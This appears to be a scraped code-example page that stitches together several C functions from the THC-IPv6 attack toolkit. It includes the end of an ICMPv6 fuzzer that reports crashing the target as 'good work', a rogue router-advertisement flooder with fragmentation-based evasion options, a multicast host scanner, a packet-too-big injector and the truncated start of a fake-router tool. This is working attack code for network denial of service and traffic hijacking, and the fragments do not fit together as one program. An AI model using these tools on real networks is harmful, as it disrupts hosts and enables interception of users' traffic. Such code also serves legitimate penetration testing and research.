    strcat(fuzzbuf, fuzztype_icmp6mld2que);
    break;
  case DO_MLD2_REPORT:
    for (i = 0; i < 3; i++) {
      buf[0 + 68 * i] = 1 + i * 2 - i / 2;      //include new++, generates 1, 3 and 4
      buf[3 + 68 * i] = 3;      //3 sources
      buf[4 + 68 * i] = 0xff;
      buf[5 + 68 * i] = 0x02;
      buf[18 + 68 * i] = 0x82 + i % 256;
      buf[19 + 68 * i] = 0xff;
      memcpy(buf + 20 + 68 * i, src6, 16);
      buf[36 + 68 * i] = 0xfe;
      buf[37 + 68 * i] = 0x80;
      buf[46 + 68 * i] = 0xf0;
      if (someaddr6 != NULL)
        memcpy(buf + 52 + 68 * i, someaddr6, 16);
    }

    if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, 3, buf, 208, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6mld2rep);
    break;

  default:
    fprintf(stderr, "ERROR: Mode not implemented yet!\n");
    exit(-1);
  }

  if (thc_generate_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0)
    return -1;
  hdr = (thc_ipv6_hdr *) pkt;

  if (jumbo) {
    i = 0;
    j = 1;
    while (i < hdr->pkt_len + 4 && j) {
      if (hdr->pkt[i] == 'J')
        if (memcmp(&hdr->pkt[i], "JJJJ", 4) == 0)
          j = 0;
      i++;
    }
    if (j) {
      fprintf(stderr, "ERROR: fuckup, cant find my own marker?!\n");
      exit(-1);
    } else
      i--;
    hdr->pkt[i] = 0;
    hdr->pkt[i + 1] = 0;
    hdr->pkt[i + 2] = hdr->pkt[4 + off2];
    hdr->pkt[i + 3] = hdr->pkt[5 + off2];
    hdr->pkt[4 + off2] = 0;
    hdr->pkt[5 + off2] = 0;
  }

  if (extend)
    for (i = 0; i < strlen(fuzzbuf); i++)
      if (fuzzbuf[i] == 'B' || fuzzbuf[i] == 'F')
        fuzzbuf[i] = 'X';

  // backup of generated packet
  pkt_bak = malloc(hdr->pkt_len);
  memcpy(pkt_bak, hdr->pkt, hdr->pkt_len);

  printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d, every packet sent denoted by a dot:\n", test_start, test_end);
//printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf);
  while (do_fuzz) {
    if (test_cnt == 0)
      while (fuzzbuf[test_ptr] == '.') {
        test_ptr++;
        test_pos++;
      }

    if (fuzzbuf[test_ptr] == 0)
      do_fuzz = 0;

    test_cnt++;
    do_it = 1;

//printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| ", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end);
    switch (fuzzbuf[test_ptr]) {
    case 0:
      break;
    case 'X':
      if (test_cnt <= COUNT_EXTEND) {
        if (pkt_bak[test_pos] != extends[test_cnt - 1])
          hdr->pkt[test_pos] = extends[test_cnt - 1];
        else
          do_it = 0;
      } else {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'B':
      if (test_cnt <= COUNT_BYTE) {
        if (pkt_bak[test_pos] != bytes[test_cnt - 1])
          hdr->pkt[test_pos] = bytes[test_cnt - 1];
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_BYTE && do_it) {
          if (bytes[i] == pkt_bak[test_pos])
            do_it = 0;
          i++;
        }
        if (do_it)
          hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
      }
      if (test_cnt == COUNT_BYTE + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'F':
      if (test_cnt <= COUNT_FLAG) {
        if (pkt_bak[test_pos] != flags[test_cnt - 1])
          hdr->pkt[test_pos] = flags[test_cnt - 1];
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_FLAG && do_it) {
          if (bytes[i] == pkt_bak[test_pos])    // yes, bytes[] is the right one even for flags
            do_it = 0;
          i++;
        }
        if (do_it)
          hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
      }
      if (test_cnt == COUNT_FLAG + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'W':
      sip = (unsigned short int *) &pkt_bak[test_pos];
      if (test_cnt <= COUNT_WORD) {
        if (*sip != words[test_cnt - 1])
          memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1] + _TAKE2, 2);
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_WORD && do_it) {
          if (words[i] == *sip)
            do_it = 0;
          i++;
        }
        if (do_it) {
          i = *sip ^ xors[test_cnt - COUNT_WORD - 1];
          sip = (unsigned short int *) &hdr->pkt[test_pos];
          *sip = i % 65536;
        }
      }
      if (test_cnt == COUNT_WORD + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos += 2;
      }
      break;
    default:
      fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr,
              fuzzbuf);
      exit(-1);
      break;
    }

    if (do_it && do_fuzz) {
      if (test_current >= test_start && test_current <= test_end && do_fuzz) {
        // fill icmp id+seq and unique buffer with test case number
        if (fragment)
          memcpy(hdr->pkt + frag_offset + 58, (char *) &test_current + _TAKE4, 4);
        switch (do_type) {
        case DO_NONE:
          // empty
          break;
        case DO_PING:
          for (i = 0; i < 4 + 1; i++)
            memcpy(hdr->pkt + offset + 58 + i * 4, (char *) &test_current + _TAKE4, 4);
          break;
        case DO_TCP:
          memcpy(hdr->pkt + offset + 58, (char *) &test_current + _TAKE4, 4);
          break;
        case DO_NEIGHSOL:
        case DO_NEIGHADV:
          break;                // do nothing for these
        case DO_NODEQUERY:
          memcpy(hdr->pkt + offset + 66, (char *) &test_current + _TAKE4, 4);
          break;
        case DO_RA:
          memcpy(hdr->pkt + offset + 0x62, (char *) &test_current + _TAKE4, 4);  // prefix update
          memcpy(hdr->pkt + offset + 0x7e, hdr->pkt + offset + 0x5e, 16);       // routing update
          memcpy(hdr->pkt + 8, (char *) &test_current + _TAKE4, 4);    // srcmac update
          memcpy(hdr->pkt + offset + 0x72, (char *) &test_current + _TAKE4, 4);  // srcmac update
          memcpy(hdr->pkt + 0x10 + off2, (char *) &test_current + _TAKE4, 4);       // srcip update
          memcpy(hdr->original_src, hdr->pkt + 8 + off2, 16);      // srcip update for checksum
          break;
        case DO_MLD_QUERY:
        case DO_MLD_DONE:
        case DO_MLD_REP:
        case DO_MLD2_QUERY:
          memcpy(hdr->pkt + offset + 0x4a, (char *) &test_current + _TAKE4, 4);
          break;
        case DO_MLD2_REPORT:   //??? XXX TODO CHECK
          memcpy(hdr->pkt + offset + 0x4d, (char *) &test_current + _TAKE4, 4);
          memcpy(hdr->pkt + offset + 0x4d + 68, (char *) &test_current + _TAKE4, 4);
          memcpy(hdr->pkt + offset + 0x4d + 136, (char *) &test_current + _TAKE4, 4);
          break;
        default:
          fprintf(stderr, "ERROR!!!\n");
          exit(-1);
        }

        // regenerate checksum
        if (do_type != DO_TCP && do_type != DO_NONE) {       // maybe for later non-icmp stuff
          hdr->pkt[offset + 56] = 0;
          hdr->pkt[offset + 57] = 0;
          i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54);
          hdr->pkt[offset + 56] = i / 256;
          hdr->pkt[offset + 57] = i % 256;
        } else { // TCP
          hdr->pkt[offset + 70] = 0;
          hdr->pkt[offset + 71] = 0;
          i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_TCP, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54);
          hdr->pkt[offset + 70] = i / 256;
          hdr->pkt[offset + 71] = i % 256;
        }
        // send packet
        for (k = 0; k < no_send; k++) {
          while(thc_send_pkt(interface, pkt, &pkt_len) < 0)
            usleep(1);
        }
        printf(".");
        usleep(250);
        // if ping, check ping again
        if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current)
          if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) {
            i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1;
            printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", argv[optind + 1], i < 0 ? 0 : i, test_current);
            exit(1);
          }
      }
//else printf("NOT SENT - NOT IN TEST LIST\n");
      // reset to basic packet
      memcpy(hdr->pkt, pkt_bak, hdr->pkt_len);
      test_current++;
    }
//else printf("NOT SENT!\n");
  }

  printf("\n");
  // ping afterwards to check if it worked
  if (do_alive) {
    if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) {
      printf("Result: target %s is NOT alive via direct ping6 - good work! (position: %d)\n", argv[optind + 1], test_pos);
      exit(1);
    } else
      printf("Result: target %s is still alive via direct ping6, better luck next time.\n", argv[optind + 1]);
  }

  thc_pcap_close(p);
  return 0;
}
Exemplo n.º 6
0
int main(int argc, char *argv[]) {
  char *interface, mac[16] = "", dmac[16] = "";
  unsigned char *routerip6, *mac6 = NULL, *ip6 = NULL;
  unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2";
  unsigned char rbuf[MAX_ENTRIES + 1][17], pbuf[MAX_ENTRIES + 1][17], *dbuf[MAX_ENTRIES + 1];
  unsigned char *dst = thc_resolve6("ff02::1");
  unsigned char *dstmac = thc_get_multicast_mac(dst);
  int size, mtu = 0, i, j, k, l, m, n, rcnt = 0, pcnt = 0, dcnt = 0, sent = 0;
  unsigned char *pkt = NULL, *searchlist = NULL;
  int pkt_len = 0;
  pcap_t *p;

  if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  memset(rbuf, 0, sizeof(rbuf));
  memset(mac, 0, sizeof(mac));

  while ((i = getopt(argc, argv, "i:r:E:R:M:m:S:s:D:L:A:a:r:d:t:T:p:n:l:F:")) >= 0) {
    switch (i) {
    case 'i':
      interval = atoi(optarg);
      break;
    case 'm':
      sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &dmac[0], (unsigned int *) &dmac[1], (unsigned int *) &dmac[2], (unsigned int *) &dmac[3], (unsigned int *) &dmac[4],
             (unsigned int *) &dmac[5]);
      dstmac = dmac;
      break;
    case 'S':
      sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
             (unsigned int *) &mac[5]);
      mac6 = mac;
      break;
    case 's':
      if ((ip6 = thc_resolve6(optarg)) == NULL) {
        fprintf(stderr, "Error: can not resolve source ip address %s\n", optarg);
        exit(-1);
      }
      break;
    case 'M':
      mtu = atoi(optarg);
      if (mtu < 0 || mtu > 65535) {
        fprintf(stderr, "Error: mtu argument is invalid: %s\n", optarg);
        exit(-1);
      }
      if (mtu < 1228 || mtu > 1500)
        fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing: %d\n", mtu);
      break;
    case 'n':
      to_send = atoi(optarg);
      if (to_send < 1 || mtu > 255) {
        fprintf(stderr, "Error: -n argument is invalid, must be between 1 and 255: %s\n", optarg);
        exit(-1);
      }
      break;
    case 'A':
      if (pcnt >= MAX_ENTRIES) {
        fprintf(stderr, "Error: you can not define more than %d autoconfig addresses\n", MAX_ENTRIES);
        exit(-1);
      }
      if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) {
        fprintf(stderr, "Error: -A option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg);
        exit(-1);
      }
      *ptr++ = 0;
      if ((size = atoi(ptr)) < 0 && size > 255) {       // yes we allow bad sizes :-)
        fprintf(stderr, "Error: -A option prefix length must be between 0 and 128: %s\n", optarg);
        exit(-1);
      }
      if (size != 64)
        fprintf(stderr, "Warning: -A option defines an unusual prefix length: %d\n", size);
      if (index(optarg, ':') == NULL)
        strcat(optarg, "::");
      if ((routerip6 = thc_resolve6(optarg)) == NULL) {
        fprintf(stderr, "Error: -A option network is invalid: %s\n", optarg);
        exit(-1);
      }
      pbuf[pcnt][0] = size % 256;
      memcpy((char *) &pbuf[pcnt][1], routerip6, 16);
      pcnt++;
      break;
    case 'a':
      plife = atoi(optarg);
      break;
    case 'r':
      rlife = atoi(optarg);
      break;
    case 'd':
      dlife = atoi(optarg);
      break;
    case 'l':
      llife = atoi(optarg);
      break;
    case 'T':
      reach = atoi(optarg);
      break;
    case 't':
      trans = atoi(optarg);
      break;
    case 'p':
      if (strncasecmp(optarg, "low", 3) == 0)
        prio = 0;
      else
        if (strncasecmp(optarg, "med", 3) == 0)
          prio = 1;
        else
          if (strncasecmp(optarg, "hi", 2) == 0)
            prio = 2;
          else
            if (strncasecmp(optarg, "res", 3) == 0)
              prio = 3;
            else {
              fprintf(stderr, "Error: unknown priority, known keywords are low, medium and high: %s\n", optarg);
              exit(-1);
            }
      break;
    case 'R':
      if (rcnt >= MAX_ENTRIES) {
        fprintf(stderr, "Error: you can not define more than %d routes\n", MAX_ENTRIES);
        exit(-1);
      }
      if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) {
        fprintf(stderr, "Error: -R option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg);
        exit(-1);
      }
      *ptr++ = 0;
      if ((size = atoi(ptr)) < 0 && size > 255) {       // yes we allow bad sizes :-)
        fprintf(stderr, "Error: -R option prefix length must be between 0 and 128: %s\n", optarg);
        exit(-1);
      }
      if (index(optarg, ':') == NULL)
        strcat(optarg, "::");
      if ((routerip6 = thc_resolve6(optarg)) == NULL) {
        fprintf(stderr, "Error: -R option network is invalid: %s\n", optarg);
        exit(-1);
      }
      rbuf[rcnt][0] = size % 256;
      memcpy((char *) &rbuf[rcnt][1], routerip6, 16);
      rcnt++;
      break;
    case 'D':
      if (dcnt >= MAX_ENTRIES) {
        fprintf(stderr, "Error: you can not define more than %d DNS servers\n", MAX_ENTRIES);
        exit(-1);
      }
      if ((dbuf[dcnt++] = thc_resolve6(optarg)) == NULL) {
        fprintf(stderr, "Error: can not resolve DNS server %s\n", optarg);
        exit(-1);
      }
      break;
    case 'L':
      searchlist = optarg;
      break;
    case 'E':
      if (optarg == NULL) {
        fprintf(stderr, "Error: no option type given for -E\n");
        exit(-1);
      }
      for (j = 0; j < strlen(optarg); j++) {
        switch (optarg[j]) {    // fall through to be fail safe on accidental misuse
        case '0':              // fall through
        case 'O':
          do_overlap = 1;
          break;
        case 'o':
          do_overlap = 2;
          break;
        case '1':              // fall through
        case 'l':              // fall through
        case 'L':
          do_frag++;
          break;
        case 'h':              // fall through
        case 'H':
          do_hop = 1;
          break;
        case 'd':              // fall through
        case 'D':
          do_dst = 1;
          break;
        default:
          fprintf(stderr, "Error: unknown evasion type %c!\n", optarg[j]);
          exit(-1);
        }
        if ((do_frag && (do_dst || do_overlap)) || (do_dst && do_overlap)) {
          fprintf(stderr, "Error: you can not use -E types 1, D, O and o together!\n");
          exit(-1);
        }
      }
      break;
    case 'F':
        ptr = strtok(optarg, ",");
        while (ptr != NULL) {
          if (strncasecmp(ptr, "man", 3) == 0)
            flags = (flags | 128);
          else if (strncasecmp(ptr, "oth", 3) == 0)
            flags = (flags | 64);
          else if (strncasecmp(ptr, "hom", 3) == 0)
            flags = (flags | 32);
          else if (strncasecmp(ptr, "prox", 4) == 0)
            flags = (flags | 4);
          else if (strncasecmp(ptr, "res", 3) == 0)
            flags = (flags | 2);
          else if (strncasecmp(ptr, "unk", 3) == 0)
            flags = (flags | 1);
          else {
            fprintf(stderr, "Error: unknown flag: %s\n", ptr);
            exit(-1);
          }
          ptr = strtok(NULL, ",");
        }
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if ((argc - optind) < 1 || (argc - optind) > 2)
    help(argv[0]);

  if (do_hdr_size)
    myoff = do_hdr_size;
  interface = argv[optind];
  if (argc - optind == 2)
    if ((dst = thc_resolve6(argv[optind + 1])) == NULL) {
      fprintf(stderr, "Error: invalid target %s\n", argv[optind + 1]);
      exit(-1);
    }
  if (mtu == 0)
    mtu = thc_get_mtu(interface);
  if (mac6 == NULL)
    if ((mac6 = thc_get_own_mac(interface)) == NULL) {
      fprintf(stderr, "Error: invalid interface %s\n", interface);
      exit(-1);
    }
  if (ip6 == NULL)
    if ((ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK)) == NULL) {
      fprintf(stderr, "Error: IPv6 is not enabled on interface %s\n", interface);
      exit(-1);
    }
//  if (dns == NULL)
//    dns = thc_resolve6("ff02::fb");

  frint = interface;
  frip6 = ip6;
  frmac = mac6;
  frbuf = buf;
  frbuf2 = buf2;
  frbuf2len = sizeof(buf2);

  memset(buf, 0, sizeof(buf));
  memset(buf2, 0, sizeof(buf2));
  memset(buf3, 0, sizeof(buf3));

  if (llife > 0xffff)
    llife = 0xffff;
  llife = (llife | 0xff000000);
  if (prio == 2)
    llife = (llife | 0x00080000);
  else if (prio == 0)
    llife = (llife | 0x00180000);
  else if (prio != 1)
    llife = (llife | 0x00100000);
  
  llife = (llife | (flags << 16));

  buf[0] = reach / 16777216;
  buf[1] = (reach % 16777216) / 65536;
  buf[2] = (reach % 65536) / 256;
  buf[3] = reach % 256;
  buf[4] = trans / 16777216;
  buf[5] = (trans % 16777216) / 65536;
  buf[6] = (trans % 65536) / 256;
  buf[7] = trans % 256;

  // option mtu
  buf[8] = 5;
  buf[9] = 1;
  buf[12] = mtu / 16777216;
  buf[13] = (mtu % 16777216) / 65536;
  buf[14] = (mtu % 65536) / 256;
  buf[15] = mtu % 256;
  i = 16;

  // mac address option
  buf[i++] = 1;
  buf[i++] = 1;
  memcpy(buf + i, mac6, 6);
  i += 6;

  // option prefix, put all in
  if (pcnt > 0)
    for (j = 0; j < pcnt; j++) {
      buf[i++] = 3;
      buf[i++] = 4;
      buf[i++] = pbuf[j][0];    // prefix length
      buf[i++] = 128 + 64;
      buf[i++] = plife / 16777216;
      buf[i++] = (plife % 16777216) / 65536;
      buf[i++] = (plife % 65536) / 256;
      buf[i++] = plife % 256;
      buf[i++] = (plife / 2) / 16777216;
      buf[i++] = ((plife / 2) % 16777216) / 65536;
      buf[i++] = ((plife / 2) % 65536) / 256;
      buf[i++] = (plife / 2) % 256;
      i += 4;                   // + 4 bytes reserved
      memcpy(&buf[i], (char *) &pbuf[j][1], 16);
      i += 16;
    }
  // route option, put all in
  if (rcnt > 0)
    for (j = 0; j < rcnt; j++) {
      buf[i++] = 0x18;          // routing entry option type
      buf[i++] = 0x03;          // length 3 == 24 bytes
      buf[i++] = rbuf[j][0];    // prefix length
      if (prio == 2)
        buf[i++] = 0x08;          // priority, highest of course
      else if (prio == 1)
        buf[i++] = 0x00;
      else if (prio == 0)
        buf[i++] = 0x18;
      else
        buf[i++] == 0x10;
      buf[i++] = rlife / 16777216;
      buf[i++] = (rlife % 16777216) / 65536;
      buf[i++] = (rlife % 65536) / 256;
      buf[i++] = rlife % 256;
      memcpy((char *) &buf[i], (char *) &rbuf[j][1], 16);       // network
      i += 16;
    }
  // dns option
  if (dcnt > 0)
    for (j = 0; j < dcnt; j++) {
      buf[i++] = 0x19;          // dns option type
      buf[i++] = 0x03;          // length
      i += 2;                   // reserved
      buf[i++] = dlife / 16777216;
      buf[i++] = (dlife % 16777216) / 65536;
      buf[i++] = (dlife % 65536) / 256;
      buf[i++] = dlife % 256;
      memcpy(buf + i, dbuf[j], 16);     // dns server
      i += 16;
    }
    
  // dns searchlist option
  if (searchlist != NULL) {
    buf[i] = 31;
    buf[i + 4] = dlife / 16777216;
    buf[i + 5] = (dlife % 16777216) / 65536;
    buf[i + 6] = (dlife % 65536) / 256;
    buf[i + 7] = dlife % 256;
    if (searchlist[strlen(searchlist) - 1] == '.')
      searchlist[strlen(searchlist) - 1] = 0;
    m = 0;
    while ((ptr = strstr(searchlist, ".,")) != NULL) {
      m = strlen(ptr);
      for (l = 1; l < m; l++)
        ptr[l - 1] = ptr[l];
      ptr[m - 1] = 0;
    }
    l = 0;
    m = 0;
    j = strlen(searchlist);
    do {
      k = 0;
      ptr = index(&searchlist[l], '.');
      if (ptr == NULL || (index(&searchlist[l], ',') != NULL && (char*)ptr > (char*)index(&searchlist[l], ','))) {
        k = 1;
        ptr = index(&searchlist[l], ',');
      }
      if (ptr != NULL)
        *ptr = 0;
      n = strlen(&searchlist[l]);

      buf[i + 8 + m] = n;
      memcpy(&buf[i + 8 + m + 1], &searchlist[l], n);

      if (ptr == NULL)
        l = j;
      else
        l += 1 + n;

      m += 1 + n;

      if (k || ptr == NULL)
        m++; // end of domain entry
    } while (l < j && ptr != NULL);
    if (m % 8 > 0)
      m = ( (m / 8) + 1 ) * 8;
    buf[i + 1] = m/8 + 1;
    i += m + 8;
  }

  frbuflen = i;

  if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
    return -1;

  if (do_hop) {
    type = NXT_HBH;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0)
      return -1;
  }
  if (do_frag) {
    type = NXT_FRAG;
    for (j = 0; i < do_frag; j++)
      if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + (cnt++ << 16)) < 0)
        return -1;
  }

  if (do_dst) {
    if (type == NXT_ICMP6)
      type = NXT_DST;
    if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
      return -1;
  }
  if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, llife, buf, i, 0) < 0)
    return -1;
  if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0)
    return -1;
  frhdr = (thc_ipv6_hdr *) pkt;
//printf("DEBUG: RA size is %d bytes, do_dst %d, do_overlap %d\n", i + 8, do_dst, do_overlap);

  // init pcap
  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }

  printf("Starting to advertise router (Press Control-C to end) ...\n");
  while (sent < to_send || to_send > 255) {
    if (do_dst) {
      thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232);
    } else if (do_overlap) {
      if (do_overlap == 1)
        thc_send_as_overlapping_first_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0);
      else
        thc_send_as_overlapping_last_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0);
    } else {
      thc_send_pkt(interface, pkt, &pkt_len);
    }
    while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0);
    sent++;
    if (sent != to_send || to_send > 255)
      sleep(interval);
  }
  return 0; // never reached
}
Exemplo n.º 7
0
/**
  Função principal que realiza o host scan IPv6 na rede
 */
int hostScan(int rawmode,       // informa se o "raw mode" foi ativado ou nao
             char *interface,   // nome da interface de analise
             unsigned char *multicast6, // endereco do grupo multicast de destino
             unsigned char *router6,    // roteador da rota parametrizada
             unsigned char **routers) {
  unsigned char *src6 = NULL,   // endereco ip6 do host [que realiza o scan]
    *mac = NULL,                // endereco MAC do host [que realiza o scan]
    string[64] = "ip6 and dst ";        // Mascara de captura de pacotes [apenas 1pv6 e destino a ser marcado]
  time_t passed;                // timestamp do inicio do scan
  pcap_t *p;                    // contexto pcap de captura

  // obtendo seu proprio endereco ip6
  src6 = thc_get_own_ipv6(interface, multicast6, PREFER_GLOBAL);

  // se estiver operando em "raw mode" deve-se resolver seu proprio endereco MAC
  if (rawmode == 0 && (mac = thc_get_mac(interface, src6, multicast6)) == NULL) {
    fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", thc_ipv62string(src6));
    exit(-1);
  }
  // setar o endereco do host para a filtragem de pacotes recebidos
  strcat(string, thc_string2notation(thc_ipv62string(src6)));

  // make the sending buffer unique
  memset(buf, 'A', sizeof(buf));        // Preenche o buffer com o caractere 'A'
  time((time_t *) & buf[2]);    // coloca da 3a posicao do buffer o tempo em segundos [padrao]
  buf[10] = getpid() % 256;     // coloca o valor do process id ..
  buf[11] = getpid() / 256;     // .. nas posicoes 11 e 12 do buffer
  memcpy(&buf[12], multicast6, 4);      // coloca o endereco de multicast na 13a posicao do buffer

  // inicializa a interface de captura de pacotes com o filtro criado
  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }
  // Envio do 1o pacote : Echo Request Comum
  sendEchoRequest(interface, multicast6, src6, router6, routers, buf, mac, NULL);

  // Envio do 2o pacote : Echo Request Com falha de Opções 
  sendEchoRequestOptions(interface, multicast6, src6, router6, routers, buf, mac);

  // altera os dados do buffer ???
  buf[0] = NXT_INVALID;
  buf[1] = 1;

  // Envio do 3o pacote : Echo Request Com dados Hop by Hop
  sendEchoRequestHopByHop(interface, multicast6, src6, router6, routers, buf, mac);

  // ???
  while (thc_pcap_check(p, (char *) check_packets, NULL) > 0 && (alive_no == 0 || *multicast6 == 0xff));

  // Anota o tempo de inicio
  passed = time(NULL);
  // enquanto nao se passam 5 segundos
  while (passed + 5 >= time(NULL) && (alive_no == 0 || *multicast6 == 0xff))
    thc_pcap_check(p, (char *) check_packets, NULL);  // verifica os pacotes capturados

  // fecha a interface de captura
  thc_pcap_close(p);

  // informa o numero de hosts ativos encontrados
  //printf("Found %d systems alive\n", alive_no);
  printf("\n");
  printAliveSystems();
}
Exemplo n.º 8
0
int main(int argc, char *argv[]) {
  char string[] = "ip6 and ! src net f000::/4 and ! dst net f000::/4";
  int rawmode = 0, i;
  pcap_t *p;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "cr")) >= 0) {
    switch (i) {
    case 'r':
      thc_ipv6_rawmode(1);
      rawmode = 1;
      offset = 0;
      break;
    case 'c':
      loop = 1;
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if (argc - optind < 3)
    help(argv[0]);

  if (do_hdr_size)
    offset = do_hdr_size;

  interface = argv[optind];
  mac6 = thc_get_own_mac(interface);
  src6 = thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL);
  mtu = atoi(argv[optind + 2]);
  
  if (src6 == NULL || mac6 == NULL) {
    fprintf(stderr, "Error: invalid interface or IPv6 not available: %s\n", interface);
    exit(-1);
  }

  if (argv[optind + 1][0] == '*' || argv[optind + 1][1] == '*') {
    ip6 = NULL;
  } else {
    ip6 = thc_resolve6(argv[optind + 1]);
    if (ip6 == NULL) {
      fprintf(stderr, "Error: target address is invalid: %s\n", argv[optind + 1]);
      exit(-1);
    }
  }

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }

  printf("Watching for %s from %s (Press Control-C to end) ...\n", loop == 0 ? "a packet" : "packets", argv[optind + 1]);

  do {
    thc_pcap_check(p, (char *) send_toobig, NULL);
    usleep(25);
  } while (go);

  thc_pcap_close(p);
  return 0;
}
Exemplo n.º 9
0
int main(int argc, char *argv[]) {
  char *routerip, *interface, mac[16] = "";
  unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
  unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2";
  unsigned char *dst = thc_resolve6("ff02::1");
  unsigned char *dstmac = thc_get_multicast_mac(dst);
  unsigned char *dns;
  int size, mtu = 1500, i, j, k, cnt;
  unsigned char *pkt = NULL;
  int pkt_len = 0;
  int rawmode = 0;
  pcap_t *p;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "FHDr")) >= 0) {
    switch (i) {
    case 'r':
      thc_ipv6_rawmode(1);
      rawmode = 1;
      break;
    case 'F':
      do_frag++;
      break;
    case 'H':
      do_hop = 1;
      break;
    case 'D':
      do_dst = 1;
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if (argc - optind < 2)
    help(argv[0]);

  if (do_hdr_size)
    myoff = do_hdr_size;
  frbuf = buf;
  frbuf2 = buf2;
  frbuf2len = sizeof(buf2);
  memset(mac, 0, sizeof(mac));
  interface = argv[optind];
  mtu = thc_get_mtu(interface);
  if (argc - optind >= 5)
    mtu = atoi(argv[optind + 4]);
  if (argc - optind >= 7 && (ptr = argv[optind + 5]) != NULL)
    sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
           (unsigned int *) &mac[5]);
  else
    mac6 = thc_get_own_mac(interface);

  if (argc - optind >= 4 && argv[optind + 3] != NULL)
    ip6 = thc_resolve6(argv[optind + 3]);
  else
    ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
  frip6 = ip6;
  frint = interface;
  frmac = mac6;

  if (argc - optind >= 4 && argv[optind + 2] != NULL)
    dns = thc_resolve6(argv[optind + 2]);
  else
    dns = thc_resolve6("ff02::fb");

  routerip = argv[optind + 1];
  if (routerip == NULL || (ptr = index(routerip, '/')) == NULL) {
    printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n");
    exit(-1);
  }
  *ptr++ = 0;
  size = atoi(ptr);

  routerip6 = thc_resolve6(routerip);
  route6 = thc_resolve6(routerip);

